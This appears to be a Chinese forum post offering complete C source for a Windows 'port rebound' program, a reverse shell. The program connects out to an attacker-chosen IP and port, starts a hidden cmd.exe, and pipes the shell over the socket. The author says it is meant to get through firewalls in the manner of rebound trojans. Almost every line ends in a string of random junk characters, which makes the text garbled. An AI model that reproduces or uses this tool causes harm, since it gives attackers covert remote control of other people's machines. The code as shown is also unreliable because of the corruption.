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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 Qs,4PPEg  
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/* ============================== $X,dQ]M  
Rebound port in Windows NT TW6F9}'f&  
By wind,2006/7 +~$pkxD"  
===============================*/ gy Ey=@L  
#include Mp?L9  
#include hsHbT^Qm  
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#pragma comment(lib,"wsock32.lib") ,lcS J^yr  
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void OutputShell(); NXX/JJ+w  
SOCKET sClient; z/,&w_8,:  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; L+8{%\UPd  
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void main(int argc,char **argv) `\$EPUM  
{ MdDL?ev  
WSADATA stWsaData; 5?q 6g  
int nRet; Y94S!TbB  
SOCKADDR_IN stSaiClient,stSaiServer; Z&of-[)  
&B\ sG=  
if(argc != 3) ' eh }t  
{ a"&cm'\lL  
printf("Useage:\n\rRebound DestIP DestPort\n"); +c$:#9$ |  
return; _FxeZ4\  
} MK(~  
s:3b.*t<  
WSAStartup(MAKEWORD(2,2),&stWsaData); !Ahxi);a  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 8Si3 aq3  
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stSaiClient.sin_family = AF_INET; Ab6R ?mUM  
stSaiClient.sin_port = htons(0); 2ZEDyQM  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); bXSAZW f  
[1nUq!uTm  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Mc&Fj1h5  
{ J7Mbv2D  
printf("Bind Socket Failed!\n"); IN75zn*%  
return; Tje(hnN  
} -3u ;U,}  
k [LV^oEg  
stSaiServer.sin_family = AF_INET; Iz[ohn!f  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 6{quO# !  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ~dk97Z8  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) e%EO/ 2"  
{ @nAl*#M*D  
printf("Connect Error!"); "W~vSbn7  
return; R.cR:fA  
} X'U~g$"(+  
OutputShell(); ]!j%Ad  
} ]T6pH7~  
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void OutputShell() 3l"8_zLP  
{ y,/i3^y#_  
char szBuff[1024]; ]GO=8$Z  
SECURITY_ATTRIBUTES stSecurityAttributes; l 0U23i  
OSVERSIONINFO stOsversionInfo; &$ud;r#  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; .TCDv4?  
STARTUPINFO stStartupInfo; pD('6C;  
char *szShell; 5M/~ |"xk  
PROCESS_INFORMATION stProcessInformation; dI|D c  
unsigned long lBytesRead; jweX"G54R  
rsq?4+\  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ac\([F-  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); je5[.VTM  
stSecurityAttributes.lpSecurityDescriptor = 0; C57m{RH  
stSecurityAttributes.bInheritHandle = TRUE; #;f50j!r  
3YJ"[$w='(  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); zez|l  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); [N12X7O3  
\VA*3U^@  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); =^SxZ Bn  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; \2]_NU5.  
stStartupInfo.wShowWindow = SW_HIDE; \Hdsy="Dnh  
stStartupInfo.hStdInput = hReadPipe; lF_"{dS_6(  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; -QwH|   
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GetVersionEx(&stOsversionInfo); XDHi4i47`o  
050,S`%<g8  
switch(stOsversionInfo.dwPlatformId) tHAe  
{ L ^r & .N\  
case 1: ;s;3cC!  
szShell = "command.com"; xW]65iav  
break; xK_oV+  
default: ^,#m y<{  
szShell = "cmd.exe"; !JyY&D~`  
break; ]jYFrOMy4S  
} tJ 2GSZ`  
.`Q^8|$-K  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); tbWf m5$  
{VKFw=$8  
send(sClient,szMsg,77,0); ]Axz}:  
while(1) EY:IwDA.}  
{ *AYq :n6  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ""Da 2Md  
if(lBytesRead) '_^T]fr}  
{ z:@:B:E  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); {}$Zff   
send(sClient,szBuff,lBytesRead,0); 0|J_'-<  
} 7}g4ePYag  
else |Fi5/$S.  
{ 1`YU9?  
lBytesRead=recv(sClient,szBuff,1024,0); (0B?OkQ  
if(lBytesRead<=0) break; DzQ  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); l#`G4Vf  
} #f YB4.i~  
} tc<uS%XT4^  
iaCV8`&q%  
return; 0ZM(heQ  
}
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